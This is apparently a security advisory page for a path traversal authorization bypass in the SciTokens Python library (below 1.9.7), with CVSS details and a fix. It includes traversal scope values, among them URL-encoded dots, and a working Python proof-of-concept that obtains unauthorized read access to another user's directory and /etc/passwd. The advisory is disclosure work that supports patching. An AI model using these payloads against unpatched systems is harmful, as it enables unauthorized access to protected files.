SciTokens has an Authorization Bypass via Path Traversal in Scope Validation

説明

Summary

The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.

Details

File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path

Description

When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.

If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.

Vulnerable Logic Flow:

  1. Normalization: In _check_scope, the path /home/user1/.. is normalized to /home.
  2. Comparison: In _scope_path_matches, the requested path /home/user2 is checked against the allowed path /home:
    python return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True

Bypassing with URL Encoding:

Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.

Root Traversal:

A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).

Impact

An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.

Proof of Concept

The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):

  • Scope: read:/home/user1/.. -> Access Granted to: /home/user2
  • Scope: read:/anything/.. -> Access Granted to: /etc/passwd
  • Scope: read:/foo/%2e%2e/bar -> Access Granted to: /bar


import scitokens
import os
import sys

# Ensure we can import from src
if os.path.exists("src"):
    sys.path.append("src")

def test_path_traversal_bypass():
    print("--- Proof of Concept: Path Traversal in Scope Validation ---")

    issuer = "https://scitokens.org"
    enforcer = scitokens.Enforcer(issuer)

    # Imagine an application that expects to restrict a user to their own directory: /home/user1
    # The application validates that the token has 'read' access to /home/user1

    # MALICIOUS TOKEN
    # An attacker provides a token with a scope that uses '..' to traverse up.
    # 'read:/home/user1/..' effectively resolves to 'read:/home'
    token = scitokens.SciToken()
    token['iss'] = issuer
    token['scope'] = "read:/home/user1/.."

    # VICTIM PATH
    # The attacker tries to access a sibling directory (another user's data)
    requested_path = "/home/user2"

    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")

    # Internal normalization in Scitokens 1.9.6:
    # urltools.normalize_path("/home/user1/..") -> "/home"
    # urltools.normalize_path("/home/user2") -> "/home/user2"
    # Since "/home/user2".startswith("/home") is True, access is granted.

    print("\nTesting authorization...")
    is_authorized = enforcer.test(token, "read", requested_path)

    print(f"Is authorized: {is_authorized}")

    if is_authorized:
        print("\n[VULNERABILITY CONFIRMED]")
        print(f"The Enforcer ALLOWED access to {requested_path}")
        print(f"even though the scope was nominally restricted to /home/user1/..")
        print("This bypasses the intended directory isolation.")
    else:
        print("\n[VULNERABILITY NOT REPRODUCED]")
        print("The Enforcer blocked the access attempt.")

    # Another example: Root traversal
    print("\n--- Example 2: Root Traversal ---")
    token['scope'] = "read:/anything/.." # Resolves to /
    requested_path = "/etc/passwd" # Or any sensitive path

    print(f"Token scope: {token['scope']}")
    print(f"Requested path: {requested_path}")

    is_authorized = enforcer.test(token, "read", requested_path)
    print(f"Is authorized: {is_authorized}")

    if is_authorized:
        print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")

if __name__ == "__main__":
    test_path_traversal_bypass()

Recommended Fix

Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.

基本情報

タイプ
reviewed
深刻度
high
GitHub 上のアドバイザリ
アドバイザリを開く ↗
リポジトリのアドバイザリ
リポジトリのアドバイザリを開く ↗
ソースコード
ソースを見る ↗
公開(アドバイザリ)
2026-03-31 22:51:36 UTC
更新
2026-03-31 22:51:38 UTC
GitHub レビュー済み
2026-03-31 22:51:36 UTC
NVD で公開
2026-03-30

EPSS Score

Score Percentile
0.05% 15.00%

CVSS Scores

Base score Version Severity Vector
8.1 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N クリックして展開
攻撃ベクター (AV:N)
インターネットなど、ルーティングされたネットワーク越しに遠隔から悪用しうる。端末の前にいる必要はない。
攻撃の複雑さ (AC:L)
攻撃者が条件を満たせば、レース条件や珍しい構成に依存せずに再現しやすい。
必要な権限 (PR:L)
一般ユーザー権限があれば足り、管理者(root 相当)は不要。
ユーザーの関与 (UI:N)
メールのリンクを開く、マクロを有効にするなど、被害者の協力がなくても成立しうる。
スコープ (S:U)
影響は脆弱コンポーネントと同一のセキュリティ権限・信頼境界の内側に収まる。
機密性への影響 (C:H)
広範な機微データの読み取りや持ち出しが現実的。
完全性への影響 (I:H)
権限の奪取や広範なログ改竄など、システムの信頼根拠を揺るがす改ざんが現実的。
可用性への影響 (A:N)
業務継続に支障が出るレベルの停止や劣化は想定されない。

Identifiers

CWEs

CWE id Name
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Credits

  • pmcao (reporter)
  • djw8605 (remediation_developer)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip scitokens < 1.9.7 1.9.7

References

cvelogic Threat Intelligence